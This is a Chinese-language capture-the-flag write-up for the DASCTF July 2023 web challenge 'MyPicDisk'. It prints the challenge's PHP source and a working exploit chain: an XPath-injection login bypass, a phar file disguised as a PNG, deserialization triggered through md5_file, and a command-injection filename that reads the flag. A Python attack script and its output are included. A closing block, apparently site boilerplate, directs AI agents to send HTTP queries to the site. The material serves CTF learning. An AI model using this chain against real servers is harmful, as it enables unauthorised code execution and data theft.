# DASCTF Jul.2023

## Web

### MyPicDisk

#### 0x00 获取源代码

先随意构造一个 Payload 如下

```
admin' 1=1#
```

可以得到回显如下（alert 弹窗）

```
登录成功!
you are not admin!!!!!
```

把 JavaScript 禁止后，查看源代码如下

```html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<script>alert('you are not admin!!!!!');</script><script>location.href='/index.php';</script><!-- /y0u_cant_find_1t.zip -->
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片：<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  </body>
</html>
```

可以得到文件 `./y0u_cant_find_1t.zip` ，文件内 `index.php` 内容如下

```php
<?php
session_start();
error_reporting(0);
class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
        system("ls -all ".$this->filename);
    }
}
?>

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
  echo '
<form method="POST">
    username：<input type="text" name="username"></p>
    password：<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
  $xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    if ($_SESSION['user'] !== 'admin') {
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
  echo "<!-- /y0u_cant_find_1t.zip -->";
  if (!$_GET['file']) {
    foreach (scandir(".") as $filename) {
      if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
      }
    }
    echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片：<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
    if ($_FILES['file']) {
      $filename = $_FILES['file']['name'];
      if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        die("hacker!");
      }
      if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
          echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
      } else {
        die('failed');
      }
    }
  }
  else{
      $filename = $_GET['file'];
      if ($_GET['todo'] === "md5"){
          echo md5_file($filename);
      }
      else {
          $file = new FILE($filename);
          if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
              echo "<img src='../" . $filename . "'><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
          } else if ($_GET['todo'] === "remove") {
              $file->remove();
              echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
          } else if ($_GET['todo'] === "show") {
              $file->show();
          }
      }
  }
}
?>
</body>
</html>
```

#### 0x01 代码逻辑

1. 判断 `$_SESSION['user']` 是否存在，不存在跳 2，存在跳转 3；
2. 进行登录操作，登录成功即将 `$_POST['username']` 的值赋给 `$_SESSION['user']` ，并跳转回 `./index.php` 即跳转 1。
3. 判断 `$_SESSION['user']` 是否为 `admin` ，不是则弹窗 `you are not admin!!!!!` 并跳转回 `./index.php` 即跳转 1。\*\*但因没有 `die()` 和 `exit()` 或者其它类似函数，因此函数还会继续往下执行，这也是这题的突破口。\*\*跳转4；
4. 判断 `$_GET['file']` 是否存在，存在则根据 `todo` 来执行操作，不存在跳转 5；
   * `todo=md5` 将执行 `md5_file()` 显示文件的 MD5 哈希值。
   * `todo=remove` 将执行 `FILE::remove()` 删除文件操作，并跳转 1。
   * `todo=show` 将执行 `FILE::show()` 显示图片信息。
   * 若不等于上述任何一种则返回图片以及两个功能键。
5. 进行图片上传操作，有白名单，需要上传图片马。

#### 0x02 解题逻辑

1. 通过表单提交登录，使得 `$_SESSION['user']` 存在；
2. 通过表单上传图片马，上传后由于 `unset($_SESSION['user']);` 因此执行下次操作前需再次登录；
3. 再次登录后通过 `todo=md5` 执行 `FILE::__destruct()` 来获得 flag。

#### 0x03 构造反序列化

```php
<?php
class FILE{
  public $filename;

  public function __destruct(){
    system("ls -all ".$this->filename);
  }
}

$a = new FILE();
$a->filename = '/';

$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
```

将 `test.phar` 上传至靶机

```python
import requests

url = 'http://28174d4c-86e7-4f17-b323-4861354044e3.node4.buuoj.cn:81/'
session = requests.Session()


def login():
    ret = session.post(url, data={
        "username": "admin' 1=1#",
        "password": "",
        "submit": "登录"
    })
    return '登录成功!' in ret.text


if login():
    ret = session.post(url, files={
        "file": ('test.png', open(r'test.phar', 'rb').read(), 'image/png')
    })


if login():
    ret = session.get(url, params={
        "file": "phar:///var/www/html/test.png",
        "todo": "md5"
    })
    print(ret.text)
```

可以得到回显如下

```bash
total 8
drwxr-xr-x    1 root root   89 Jul 30 03:29 .
drwxr-xr-x    1 root root   89 Jul 30 03:29 ..
-rwxr-xr-x    1 root root    0 Jul 30 03:29 .dockerenv
-rw-rw-r--    1 root root   45 Jul 30 03:29 adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
drwxr-xr-x    1 root root   28 Oct 13  2020 bin
drwxr-xr-x    2 root root    6 Sep 19  2020 boot
drwxr-xr-x    5 root root  360 Jul 30 03:29 dev
drwxr-xr-x    1 root root   66 Jul 30 03:29 etc
drwxr-xr-x    2 root root    6 Sep 19  2020 home
drwxr-xr-x    1 root root   21 Oct 13  2020 lib
drwxr-xr-x    2 root root   34 Oct 12  2020 lib64
drwxr-xr-x    2 root root    6 Oct 12  2020 media
drwxr-xr-x    2 root root    6 Oct 12  2020 mnt
drwxr-xr-x    2 root root    6 Oct 12  2020 opt
dr-xr-xr-x 2072 root root    0 Jul 30 03:29 proc
drwx------    1 root root    6 Oct 13  2020 root
drwxr-xr-x    1 root root   21 Oct 13  2020 run
drwxr-xr-x    1 root root   20 Oct 13  2020 sbin
drwxr-xr-x    2 root root    6 Oct 12  2020 srv
dr-xr-xr-x   13 root root    0 Mar 28 03:11 sys
drwxrwxrwt    1 root root 4096 Jul 30 04:06 tmp
drwxr-xr-x    1 root root   19 Oct 12  2020 usr
drwxr-xr-x    1 root root   17 Oct 13  2020 var
```

将 PHP 代码中的 `$a->filename` 修改为

```php
$a->filename = '/; cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd;';
```

再次上传靶机即可获得 flag 。


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://writeup.owo.show/dasctf-jul.2023.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
